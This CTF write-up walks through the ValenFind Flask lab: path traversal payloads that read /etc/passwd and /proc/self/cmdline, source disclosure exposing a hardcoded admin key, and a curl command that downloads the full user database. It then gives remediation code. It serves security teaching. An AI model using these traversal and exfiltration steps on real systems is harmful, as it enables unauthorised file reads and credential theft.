Web Exploitation · CTF Writeup

How ValenFind gave away its entire database

Chaining path traversal, source disclosure, and a hardcoded API key — from reading /etc/passwd to full database exfiltration in five steps.

Flask / SQLite Stack
Medium Difficulty
3× Critical Findings
5 Steps Chain
scroll

CTF challenge in a controlled lab environment. All techniques performed only against the provided target. Never test systems without explicit permission.

01

A Dating App With Secrets

ValenFind is a Valentine's Day-themed CTF challenge — a Flask dating platform where you browse profiles, send likes, and find your match. Beneath the pink UI, the app is riddled with vulnerabilities that chain into complete compromise: from reading /etc/passwd all the way to downloading the entire user database and capturing the flag.

This writeup walks through the methodology step by step, from initial reconnaissance to the final flag.

reconnaissance
02

Mapping the Application

First step: manual walkthrough of the entire application — no tools, just a browser. Mapping every visible surface revealed the following pages:

/ · /register · /login · /dashboard · /my_profile · /profile/<username> · /like/<id> · /logout

The dashboard immediately stood out — it listed every registered user including an admin account, with sequential integer IDs exposed in the Like form actions (/like/1, /like/2…). Classic IDOR setup. Also present: missing CSRF tokens on all POST forms, and plaintext-looking like counts. But what caught my eye most was the profile for cupid:

💬 cupid's bio

"I keep the database secure. No peeking."

The irony of that bio would become apparent very quickly.

finding 01
03

Path Traversal via fetch_layout

Viewing cupid's profile, I opened DevTools and inspected the JavaScript. A function called loadTheme() stood out immediately:

      
profile.html — JavaScript
function loadTheme(layoutName) { // Feature: Dynamic Layout Fetching fetch(`/api/fetch_layout?layout=${layoutName}`) .then(r => r.text()) .then(html => { let rendered = html.replace('__USERNAME__', username) .replace('__BIO__', bioText); document.getElementById('bio-container').innerHTML = rendered; }); }

The layout parameter is passed directly to a server-side file fetch with no validation beyond a blocklist. The value comes from a <select> dropdown — client-side only, trivially bypassed. First test: the classic traversal payload.

curl / browser
GET /api/fetch_layout?layout=../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ...

It worked. The server returned /etc/passwd in full — confirming unauthenticated path traversal. No path canonicalization, and a broken blocklist that only checked for cupid.db or the .db extension.

Critical

CWE-22 — Path Traversal in fetch_layout

Arbitrary file read on the server. The blocklist-based defence is trivially bypassed. Any file the app process can read is exposed — configuration, keys, source code, system files.

finding 02
04

Source Code via /proc/self

With traversal confirmed, the next goal was locating the application source. Rather than guessing paths, I used /proc/self/cmdline — a Linux pseudo-file that reveals the exact command used to launch the current process:

proc enumeration
GET /api/fetch_layout?layout=../../../../../proc/self/cmdline /usr/bin/python3/opt/Valenfind/app.py

This revealed the Python interpreter and — most importantly — the exact application root: /opt/Valenfind/. No guessing. I read the source directly:

source disclosure
GET /api/fetch_layout?layout=../../../../../opt/Valenfind/app.py import os, sqlite3, hashlib from flask import Flask, render_template, ... ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO" DATABASE = 'cupid.db' ...

The source was fully readable. Two findings jumped out within seconds:

Critical

CWE-798 — Hardcoded Admin API Key

        
ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
Critical

CWE-284 — Unauthenticated Database Export Endpoint

        
@app.route('/api/admin/export_db') def export_db(): auth_header = request.headers.get('X-Valentine-Token') if auth_header == ADMIN_API_KEY: return send_file(DATABASE, as_attachment=True)

The entire SQLite database can be downloaded by anyone who knows the API key — no login session, no IP restriction, no rate limit. The "auth" is a single header check against a hardcoded string we already have.

exploitation
05

Full Database Exfiltration

With the hardcoded key in hand, exploiting the export endpoint was a single command:

      
bash
curl http://10.48.133.124:5000/api/admin/export_db \ -H "X-Valentine-Token: CUPID_MASTER_KEY_2024_XOXO" \ --output valenfind.db sqlite3 valenfind.db "SELECT * FROM users;"
sqlite3 valenfind.db
1|romeo_montague|juliet123|Romeo Montague|... 2|casanova_official|secret123|Giacomo Casanova|... 3|cleopatra_queen|caesar_salad|Cleopatra VII|... 4|sherlock_h|watson_is_cool|Sherlock Holmes|... 5|gatsby_great|green_light|Jay Gatsby|... 6|jane_eyre|rochester_blind|Jane Eyre|... 7|count_dracula|sunlight_sucks|Vlad Dracula|... 8|cupid|admin_root_x99|System Administrator|FLAG: THM{...REDACTED...} 9|admin|admin|<script>alert(1)</script>|alien@gmail.com

The flag was in the address field of the cupid account — the system administrator with 999 likes and the bio "I keep the database secure. No peeking." The dump also revealed every user's plaintext password — no hashing, no salting — and an XSS payload in the admin account's name field, suggesting it was also an intended test vector.

attack chain
06

How the Vulnerabilities Chained

01
JS recon in DevTools
02
Path traversal via ?layout=
03
/proc/self/cmdline → app path
04
Read app.py → hardcoded key
05
Call export endpoint → full DB
06
🚩 Flag captured

No single vulnerability was enough on its own. Path traversal opened the door to source code; source code handed over the key; the key unlocked the database; the database contained the flag. This is why vulnerability chaining is a core skill — individually these might score low on CVSS, but together they represent total compromise.

vulnerability summary
07

All Findings at a Glance

Finding Severity CWE Impact
Path traversal in fetch_layout Critical CWE-22 Arbitrary file read
Hardcoded admin API key in source Critical CWE-798 Full admin API access
Unauthenticated database export endpoint Critical CWE-284 Full DB exfiltration
Plaintext password storage High CWE-256 All credentials compromised
No CSRF tokens on POST forms High CWE-352 Silent action forgery
innerHTML with server-fetched content High CWE-79 Stored/reflected XSS
User enumeration via dashboard + sequential IDs Medium CWE-200 IDOR surface, account enumeration
Internal filenames exposed in HTML select Low CWE-538 Aids traversal enumeration
remediation
08

How to Fix These Issues

1. Replace the blocklist with an allowlist

The existing blocklist check ("block if it contains cupid.db") is fundamentally broken — there are infinite ways to reference a file. Allowlists are the only reliable pattern:

      
app.py — fixed fetch_layout
ALLOWED_LAYOUTS = {'theme_classic.html', 'theme_modern.html', 'theme_romance.html'} def fetch_layout(): layout_file = request.args.get('layout', 'theme_classic.html') if layout_file not in ALLOWED_LAYOUTS: return "Invalid layout", 400

2. Never hardcode secrets — use environment variables

      
app.py — secret handling
# Bad ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO" # Good ADMIN_API_KEY = os.getenv('ADMIN_API_KEY') if not ADMIN_API_KEY: raise RuntimeError("ADMIN_API_KEY not set")

3. Hash passwords with bcrypt or Argon2

      
app.py — password hashing
from werkzeug.security import generate_password_hash, check_password_hash # On register hashed = generate_password_hash(password) # On login if user and check_password_hash(user['password'], password): ...

4. Sanitize before injecting into the DOM

      
profile.html — XSS fix
// Bad document.getElementById('bio-container').innerHTML = rendered; // Good — sanitize before injecting document.getElementById('bio-container').innerHTML = DOMPurify.sanitize(rendered);
takeaways
09

Key Lessons

Vulnerability chaining matters

No single bug here was catastrophic in isolation. Path traversal alone gives file read. Hardcoded keys are useless without knowing the endpoint. The chain is what causes total compromise — always think about how findings connect.

Blocklists always lose

The developer tried to block .db and cupid.db. But there are infinite ways to reference a file — double encoding, case variation, symlinks. Allowlists are the only reliable pattern.

/proc/self is your friend

When you have path traversal on Linux, /proc/self/cmdline and /proc/self/environ are the fastest path to app secrets and config — no guessing required.

ValenFind was a well-constructed CTF that reflects real-world vulnerability patterns. The cupid bio — "I keep the database secure. No peeking." — was the perfect troll from the challenge author. The database was never secure, and we definitely peeked.